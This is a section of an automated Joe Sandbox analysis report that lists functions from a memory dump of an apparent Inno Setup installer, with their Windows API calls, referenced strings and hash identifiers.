Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: bbd83879051bbb61c82a419d540aea94b1d83442c47b8cdfd9cb13069dd9a881
Instruction ID: 657f84db466bd1c54801a2b30447fc2084338491f8142acf58a262d5883cef98
Opcode Fuzzy Hash: bbd83879051bbb61c82a419d540aea94b1d83442c47b8cdfd9cb13069dd9a881
Instruction Fuzzy Hash: FCF0A4917442043BF21025A65C43F6B198CCB82B9BF50053FB704FA1D2D87C9D04427D

Uniqueness

Uniqueness Score: -1.00%

Function 00414350 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

73A18830.GDI32(00000000,00000000,00000000), ref: 00414389
73A122A0.GDI32(00000000,00000000,00000000,00000000), ref: 00414391
73A18830.GDI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 004143A5
73A122A0.GDI32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 004143AB
73A1A480.USER32(00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 004143B6

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: A122A18830$A480
String ID:
API String ID: 3325508737-0
Opcode ID: 194e3fff164acdd9274630c615ac113e6c237e1a8584744cad8ee02aea33715e
Instruction ID: 94861c3129a932f854b236b0087f7367a4de39103189020794ca85cb03cdcc47
Opcode Fuzzy Hash: 194e3fff164acdd9274630c615ac113e6c237e1a8584744cad8ee02aea33715e
Instruction Fuzzy Hash: 6F01DF7121C3806AD200B63E8C85A9F6BED8FCA314F15556EF498DB382CA7ACC018765

Uniqueness

Uniqueness Score: -1.00%

Function 0047509C Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,?,?,00000001,00000000,00000000,00476895,?,00000000,00000000,00000001,00000000,00475339,?,00000000), ref: 004752FD

Strings

Failed to parse "reg" constant, xrefs: 00475304
XPG, xrefs: 00475196
Cannot access a 64-bit key in a "reg" constant on this version of Windows, xrefs: 00475171

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Close
String ID: Cannot access a 64-bit key in a "reg" constant on this version of Windows$Failed to parse "reg" constant$XPG
API String ID: 3535843008-221462518
Opcode ID: 2ad844ec3d3387f5df215a59a8183cae574ced7ce954c6da98f45587ceaedfea
Instruction ID: efa73f53bf694626ca38b284cffe8b81a50960838d42bcbe4388b938de67f833
Opcode Fuzzy Hash: 2ad844ec3d3387f5df215a59a8183cae574ced7ce954c6da98f45587ceaedfea
Instruction Fuzzy Hash: 2C814174E00548AFCB10EF95C881ADEBBF9AF44355F50816AE814FB391D778AE05CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00424C50 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 0041EFE4: GetActiveWindow.USER32 ref: 0041EFE7
Part of subcall function 0041EFE4: GetCurrentThreadId.KERNEL32 ref: 0041EFFC
Part of subcall function 0041EFE4: 73A25940.USER32(00000000,Function_0001EFC0), ref: 0041F002

Part of subcall function 00423118: GetSystemMetrics.USER32(00000000), ref: 0042311A

OffsetRect.USER32(?,?,?), ref: 00424D39
DrawTextA.USER32(00000000,00000000,000000FF,?,00000C10), ref: 00424DFC
OffsetRect.USER32(?,?,?), ref: 00424E0D

Part of subcall function 004234D4: GetCurrentThreadId.KERNEL32 ref: 004234E9
Part of subcall function 004234D4: SetWindowsHookExA.USER32(00000003,00423490,00000000,00000000), ref: 004234F9
Part of subcall function 004234D4: CreateThread.KERNEL32(00000000,000003E8,00423440,00000000,00000000), ref: 0042351D

Part of subcall function 00424A9C: SetTimer.USER32(00000000,00000001,?,00423424), ref: 00424AB7

Strings

KB, xrefs: 00424C63, 00424D41

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Thread$CurrentOffsetRect$A25940ActiveCreateDrawHookMetricsSystemTextTimerWindowWindows
String ID: KB
API String ID: 1906964682-1869488878
Opcode ID: ba4daf257325cbcca7612a03de97b8ebc6b1ca257ff465a9f0c405e7408712a1
Instruction ID: ae1ca80dbbb80d562d58c988e2a096fec0eb4d76cb14d5a08aa48516f4e8acc9
Opcode Fuzzy Hash: ba4daf257325cbcca7612a03de97b8ebc6b1ca257ff465a9f0c405e7408712a1
Instruction Fuzzy Hash: 89811771A002189FDB14DFA8D884ADEBBB5FF48314F5045AAE904AB296DB38AD45CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406F0C Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 156shareCOMMON

Download Yara Rule

APIs

WNetGetUniversalNameA.MPR(00000000,00000001,?,00000400), ref: 00406F6B
WNetOpenEnumA.MPR(00000001,00000001,00000000,00000000,?), ref: 00406FE5
WNetEnumResourceA.MPR(?,FFFFFFFF,?,?), ref: 0040703D

Strings

Z, xrefs: 00406FA4

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Enum$NameOpenResourceUniversal
String ID: Z
API String ID: 3604996873-1505515367
Opcode ID: 3e23b715a30e1b5c3429261b8d124dbcf9289215ab71e09fab44fa3001b00485
Instruction ID: 7c0b9131d06079f5eec8a494c30c5fea0581ab0ea086ea85159b160c15df41a2
Opcode Fuzzy Hash: 3e23b715a30e1b5c3429261b8d124dbcf9289215ab71e09fab44fa3001b00485
Instruction Fuzzy Hash: FB514170E042099FDB11EF55C941A9EBBB9FB09304F5041BAE540BB3D1C778AE418F5A

Uniqueness

Uniqueness Score: -1.00%

Function 0044C854 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 0044C8E2
DrawTextA.USER32(00000000,00000000,00000000,?,00000D20), ref: 0044C90D
DrawTextA.USER32(00000000,00000000,00000000,00000000,00000800), ref: 0044C995

Strings

, xrefs: 0044C8C7

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: DrawText$EmptyRect
String ID:
API String ID: 182455014-2867612384
Opcode ID: d0c3e2c7287d8feafc52a027ec46cb3325a20517415fc8e523dc578fc7dbd799
Instruction ID: 131ceb366f2beb704c5e67361b9b215d261598caf296ae96956cdec3368353cb
Opcode Fuzzy Hash: d0c3e2c7287d8feafc52a027ec46cb3325a20517415fc8e523dc578fc7dbd799
Instruction Fuzzy Hash: 8F5172B1900248AFDB50DFA9C885BDEBBF9FF48314F08447AE845EB252D7389944CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0042E8C8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,00000000,0042EA1C,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0042E8F2

Part of subcall function 0041A158: CreateFontIndirectA.GDI32(?), ref: 0041A217

SelectObject.GDI32(?,00000000), ref: 0042E915
73A1A480.USER32(00000000,?,0042EA01,00000000,0042E9FA,?,00000000,00000000,0042EA1C,?,?,?,?,00000000,00000000,00000000), ref: 0042E9F4

Strings

...\, xrefs: 0042E9A6

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: A480A570CreateFontIndirectObjectSelect
String ID: ...\
API String ID: 2998766281-983595016
Opcode ID: 9df2e027a5ad20ed6d7352ee69e297a86736b9e25cbcddb4c0eeddf445b1d3af
Instruction ID: 308711b3510e2d142e5f8917cb1a7286c815dd25c3ebae82bdfc5a56718784f8
Opcode Fuzzy Hash: 9df2e027a5ad20ed6d7352ee69e297a86736b9e25cbcddb4c0eeddf445b1d3af
Instruction Fuzzy Hash: 79315070B00129ABDF11EB9AD841BAEB7B8FF49304F90447BF410A7291D7789E41CA69

Uniqueness

Uniqueness Score: -1.00%

Function 0048CE6C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 92registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047DDF7,?,00000001,?,?,0047DDF7,?,00000001,00000000), ref: 0042DC70

RegCloseKey.ADVAPI32(?,0048CF6A,?,?,00000001,00000000,00000000,0048CF85), ref: 0048CF53

Strings

%s\%s_is1, xrefs: 0048CEE4
Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0048CEC6
Inno Setup CodeFile: , xrefs: 0048CF16

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseOpen
String ID: %s\%s_is1$Inno Setup CodeFile: $Software\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 47109696-1837835967
Opcode ID: a5317e2cdf1504813c9fe7444e3c67d1a119a8e89a958819ee54ab3caef088f8
Instruction ID: 9198a2c89c650ecdb9ea5b928749e7ef7688678c62cd245957542d324bac4bf5
Opcode Fuzzy Hash: a5317e2cdf1504813c9fe7444e3c67d1a119a8e89a958819ee54ab3caef088f8
Instruction Fuzzy Hash: 9B316374A042045FDB01EFA5DC91A9EBBF9EB4C704F50447BE604E7391D7789A058B68

Uniqueness

Uniqueness Score: -1.00%

Function 00416380 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(00400000,?,?), ref: 004163EF
UnregisterClassA.USER32(?,00400000), ref: 0041641B
RegisterClassA.USER32(?), ref: 0041643E

Strings

@, xrefs: 00416399

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Class$InfoRegisterUnregister
String ID: @
API String ID: 3749476976-2766056989
Opcode ID: 5b73e54eb71c748753e3b8d1054902b7c0852253915f9ea95734fd2023c17c48
Instruction ID: 182fc5ce89434e719f204c44de6314d23bdba4c1adcba5a9141eaa64fba15999
Opcode Fuzzy Hash: 5b73e54eb71c748753e3b8d1054902b7c0852253915f9ea95734fd2023c17c48
Instruction Fuzzy Hash: F4318E702042008BD760EF68C881B9B77E5AB88308F00447FFA85CB392DB39D9448B6E

Uniqueness

Uniqueness Score: -1.00%

Function 00492028 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,004928F5,00000000,0049211E,?,?,00000000,00494628), ref: 00492098
SetFileAttributesA.KERNEL32(00000000,00000000,00000000,004928F5,00000000,0049211E,?,?,00000000,00494628), ref: 004920C1
MoveFileExA.KERNEL32(00000000,00000000,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 004920DA

Strings

isRS-%.3u.tmp, xrefs: 00492077

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: File$Attributes$Move
String ID: isRS-%.3u.tmp
API String ID: 3839737484-3657609586
Opcode ID: bf2922b1aaa6c30ca688b35688b4cf24069c5c6910dd478e72a2b9c309e37070
Instruction ID: b810cc2a7e5d2205544a106a5c70962c88f81ee0cc3f37104223c1277275e24c
Opcode Fuzzy Hash: bf2922b1aaa6c30ca688b35688b4cf24069c5c6910dd478e72a2b9c309e37070
Instruction Fuzzy Hash: 92216470D00219BFDF14EFA9C9829AFBBB9EB54314F10453AB814B72D1D6785E018A59

Uniqueness

Uniqueness Score: -1.00%

Function 00404D2A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00404DC5
ExitProcess.KERNEL32 ref: 00404E0D

Strings

Error, xrefs: 00404DB9
Runtime error at 00000000, xrefs: 00404DBE, 00404DD1

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ExitMessageProcess
String ID: Error$Runtime error at 00000000
API String ID: 1220098344-2970929446
Opcode ID: a06c2f23053dee05738a3b3847c410c2c592315d1a0ade8e47e6ee14016d8d79
Instruction ID: 4d0016c8d5fe4094e25e5fe0be570a8f0713ad45d294035ab8c8bb1c6a4e5ebc
Opcode Fuzzy Hash: a06c2f23053dee05738a3b3847c410c2c592315d1a0ade8e47e6ee14016d8d79
Instruction Fuzzy Hash: 7421B360A442418ADB21AB75EC81F163BD197EA349F04817BE700B77E6C67C894687AE

Uniqueness

Uniqueness Score: -1.00%

Function 00454C5C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042C6E0: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C704

Part of subcall function 00403CA4: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
Part of subcall function 00403CA4: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9

LoadTypeLib.OLEAUT32(00000000,00000000), ref: 00454CB0
RegisterTypeLib.OLEAUT32(00000000,00000000,00000000), ref: 00454CDD

Strings

RegisterTypeLib, xrefs: 00454CE8
LoadTypeLib, xrefs: 00454CBB

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Type$AllocByteCharFullLoadMultiNamePathRegisterStringWide
String ID: LoadTypeLib$RegisterTypeLib
API String ID: 1312246647-2435364021
Opcode ID: f61e69b483cb001645570106c37636ac553a9824954e6e8b6d66c00c2f183d59
Instruction ID: d9fba730cb80c63aa19026fdd437f4fece929029815e2f29f966a9b9864a7c3d
Opcode Fuzzy Hash: f61e69b483cb001645570106c37636ac553a9824954e6e8b6d66c00c2f183d59
Instruction Fuzzy Hash: C411B430A00604AFDB11DFA6DC51A5EB7BDEBC9709B108476FD04D7651DA389D48C614

Uniqueness

Uniqueness Score: -1.00%

Function 0047363C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00424234: SetWindowTextA.USER32(?,00000000), ref: 0042424C

GetFocus.USER32 ref: 004736A7
GetKeyState.USER32(0000007A), ref: 004736B9
WaitMessage.USER32(?,00000000,004736E0,?,00000000,00473707,?,?,00000001,00000000,?,?,?,?,0047AADF,00000000), ref: 004736C3

Strings

Wnd=$%x, xrefs: 0047368B

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: FocusMessageStateTextWaitWindow
String ID: Wnd=$%x
API String ID: 1381870634-2927251529
Opcode ID: b6f1723f8a55a4a9afafee02d062e7fd811883cc0c30f314c2a81b90cb0acb04
Instruction ID: f4d105e05b809c76e67ff73c629a241912eba9488d1d76ce0f5d4fdfd1301c88
Opcode Fuzzy Hash: b6f1723f8a55a4a9afafee02d062e7fd811883cc0c30f314c2a81b90cb0acb04
Instruction Fuzzy Hash: 67119170600244BFC710EF65DC52A9E7BB8EB49705B5184BAF408E3751D63DAE00DA6D

Uniqueness

Uniqueness Score: -1.00%

Function 0046A044 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46timeCOMMON

Download Yara Rule

APIs

FileTimeToLocalFileTime.KERNEL32(?), ref: 0046A04C
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 0046A05B

Strings

(invalid), xrefs: 0046A0DE
%.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u, xrefs: 0046A0D0

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Time$File$LocalSystem
String ID: %.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u$(invalid)
API String ID: 1748579591-1013271723
Opcode ID: dc3105fb6ee909ab4cd4d42845ef41477d175ff5fb8b3213b724df48f3a92d37
Instruction ID: 9e815eb500cce11188de23773c3f03aef7f324e38ca19cda18ee53b31b17b2fc
Opcode Fuzzy Hash: dc3105fb6ee909ab4cd4d42845ef41477d175ff5fb8b3213b724df48f3a92d37
Instruction Fuzzy Hash: 9B11F8A140C3919ED340DF2AC44436BBAE4AB89704F44896EF9D8D6381E779C948DB77

Uniqueness

Uniqueness Score: -1.00%

Function 004527D6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43fileCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(00000000,00000020), ref: 004527E3

Part of subcall function 00406EB8: DeleteFileA.KERNEL32(00000000,00494628,00492509,00000000,0049255E,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406EC3

MoveFileA.KERNEL32(00000000,00000000), ref: 00452808

Part of subcall function 00451E20: GetLastError.KERNEL32(00000000,00452891,00000005,00000000,004528C6,?,?,00000000,00494628,00000004,00000000,00000000,00000000,?,004921BD,00000000), ref: 00451E23

Strings

MoveFile, xrefs: 00452811
DeleteFile, xrefs: 004527F4

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: File$AttributesDeleteErrorLastMove
String ID: DeleteFile$MoveFile
API String ID: 3024442154-139070271
Opcode ID: 8a70b1347f387fedb58c3f0c09c3bda5820d5cffeb643f0c2558e4fcea15fbdb
Instruction ID: 7497217c6fa166c3be30eb44807793be619cf2db8189df8da4fe663aa424cbd4
Opcode Fuzzy Hash: 8a70b1347f387fedb58c3f0c09c3bda5820d5cffeb643f0c2558e4fcea15fbdb
Instruction Fuzzy Hash: 8EF062746041045AE701FAA5DA4366FA3ECEB4530AF61403BF800B76C3DA7C9D094929

Uniqueness

Uniqueness Score: -1.00%

Function 00457770 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047DDF7,?,00000001,?,?,0047DDF7,?,00000001,00000000), ref: 0042DC70

RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,?,00000000,?,00000002,004578A2,00000000,004579EF,?,00000000,00000000,00000000), ref: 004577BD

Strings

SOFTWARE\Microsoft\.NETFramework, xrefs: 00457790
InstallRoot, xrefs: 004577AC
.NET Framework not found, xrefs: 004577CC

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseOpen
String ID: .NET Framework not found$InstallRoot$SOFTWARE\Microsoft\.NETFramework
API String ID: 47109696-2631785700
Opcode ID: 6e8da870c8621b75cc6768b696cde9fcf8d5864872e34247e5d0abe67aef6327
Instruction ID: a26262d4258d3973e1aab989b25d4896129656d7849361439c1335197d99e5e3
Opcode Fuzzy Hash: 6e8da870c8621b75cc6768b696cde9fcf8d5864872e34247e5d0abe67aef6327
Instruction Fuzzy Hash: D5F0FF327141106FC710EB1AFC45F0E6688DB9839AF10803BB940C725AC678DC0AC62D

Uniqueness

Uniqueness Score: -1.00%

Function 0047DDD8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047DDF7,?,00000001,?,?,0047DDF7,?,00000001,00000000), ref: 0042DC70

RegQueryValueExA.ADVAPI32(?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 0047DE19
RegCloseKey.ADVAPI32(?,?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 0047DE3C

Strings

CSDVersion, xrefs: 0047DE10
System\CurrentControlSet\Control\Windows, xrefs: 0047DDE6

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: CSDVersion$System\CurrentControlSet\Control\Windows
API String ID: 3677997916-1910633163
Opcode ID: 7813b641c3abcab23e33f1a9844fd0c9a7e2724cdb6d20ee4d37ca6bcb8a843c
Instruction ID: 975d92485e8303bca6679b963d7ec8b17629a584e5fbb74d879917827c530b39
Opcode Fuzzy Hash: 7813b641c3abcab23e33f1a9844fd0c9a7e2724cdb6d20ee4d37ca6bcb8a843c
Instruction Fuzzy Hash: 5CF0A475E10609AADF11DAD0CC45BEF73BCAF14304F208567EA18EB280E7789A04CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0042D7CC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetSystemWow64DirectoryA,?,004524DE,00000000,00452581,?,?,00000000,00000000,00000000,00000000,00000000,?,0045284D,00000000), ref: 0042D7E6
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042D7EC

Strings

kernel32.dll, xrefs: 0042D7E1
GetSystemWow64DirectoryA, xrefs: 0042D7DC

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemWow64DirectoryA$kernel32.dll
API String ID: 1646373207-4063490227
Opcode ID: bcb006e1001e7ceda0f2158fab1331f88fd866345d5b6bb6a223a4a56a439a00
Instruction ID: 4db8f333c9a0d948aa4d288d669557f69a64c6eaa67e0ad6c3f7b03414b73d9c
Opcode Fuzzy Hash: bcb006e1001e7ceda0f2158fab1331f88fd866345d5b6bb6a223a4a56a439a00
Instruction Fuzzy Hash: 23E04F61B44B1112D7107ABA9C83A5B10898B88724FA0843B79A5E72C7EDBCD94A1A7D

Uniqueness

Uniqueness Score: -1.00%

